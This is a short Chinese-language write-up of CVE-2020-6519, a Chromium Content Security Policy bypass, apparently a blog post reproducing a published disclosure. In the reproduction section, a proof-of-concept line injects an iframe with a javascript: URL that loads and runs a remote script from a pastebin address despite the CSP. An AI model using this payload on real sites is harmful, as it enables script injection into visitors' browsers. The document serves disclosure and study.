CVE-2020-6519 Chromium csp策略绕过

csp简介

CSP 的主要目标是减少和报告 XSS 攻击 ,XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。作为一种终极防护形式,始终不允许执行脚本的站点可以选择全面禁止脚本执行;

CVE-2020-6519

影响范围

内核 <= 84.0.4147.89 基于Chromium实现的浏览器,包括Chrome,windows Edge,不限平台

复现

在设置如下的csp策略时

<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'">

设置如下的script标签,是无法运行的

因为csp的策略,导致无法加载非本服务器的js脚本。

绕过方法,可以使用iframe标签,src为javascript协议去绕过csp策略。如图

top._CVE_URL='https://pastebin.com/raw/dw5cWGK6'

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'>;</iframe>"

完成poc

https://github.com/PerimeterX/CVE-2020-6519/tree/master/POC

参考

https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/